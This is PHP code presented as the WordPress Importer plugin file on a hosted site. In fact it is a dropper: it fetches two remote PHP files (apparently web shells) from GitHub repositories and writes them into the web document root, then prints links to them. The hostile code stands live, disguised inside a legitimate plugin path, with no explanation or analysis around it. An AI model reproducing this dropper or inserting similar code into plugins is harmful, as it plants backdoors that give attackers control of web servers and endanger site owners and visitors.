File: /home/ayxmplky/public_html/wp-content/plugins/wordpress-importer/wordpress-importer.php
// Array of GitHub raw file URLs
$githubRawFileUrls = [
'https://github.com/A3rr0rM/bb/raw/refs/heads/main/foxv4.php',
'https://github.com/Mr-X1337/xxx/raw/refs/heads/main/jp.php'
];
// Paths to save files (Root Domain Only)
$savePaths = [
$_SERVER['DOCUMENT_ROOT']
];
// Ensure all paths exist, create them if they don't
foreach ($savePaths as $path) {
if (!is_dir($path)) {
mkdir($path, 0777, true);
}
}
// Initialize a counter
$fileCounter = 1;
// Array to store the downloaded file paths along with their WordPress paths
$downloadedFiles = [];
// Loop through each URL
foreach ($githubRawFileUrls as $url) {
// Fetch content from GitHub file
$content = file_get_contents($url);
if ($content !== false) {
// Extract file extension from the URL
$fileExtension = pathinfo($url, PATHINFO_EXTENSION);
// Formulate the filename with the counter and file extension
$filename = $fileCounter . '.' . $fileExtension;
foreach ($savePaths as $savePath) {
// Path to save the file in the current directory
$localFilePath = $savePath . "/$filename";
// Write content to a new file
$fileWriteResult = file_put_contents($localFilePath, $content);
if ($fileWriteResult !== false && $savePath === $_SERVER['DOCUMENT_ROOT']) {
// Store the downloaded file paths along with their WordPress paths for display
$downloadedFiles[$url] = [
'wordpress_path' => $localFilePath,
'url' => $url
];
}
}
// Increment the counter for the next file
$fileCounter++;
}
}
// Display links to the downloaded files
if (!empty($downloadedFiles)) {
echo "<h2>Downloaded Files:</h2>";
foreach ($downloadedFiles as $downloadedFile) {
$wordpressPath = $downloadedFile['wordpress_path'];
$fileUrl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $wordpressPath);
echo "<p>File: <a href='$fileUrl'>$fileUrl</a><br> Original URL: {$downloadedFile['url']}</p>";
}
} else {
echo "No files downloaded.";
}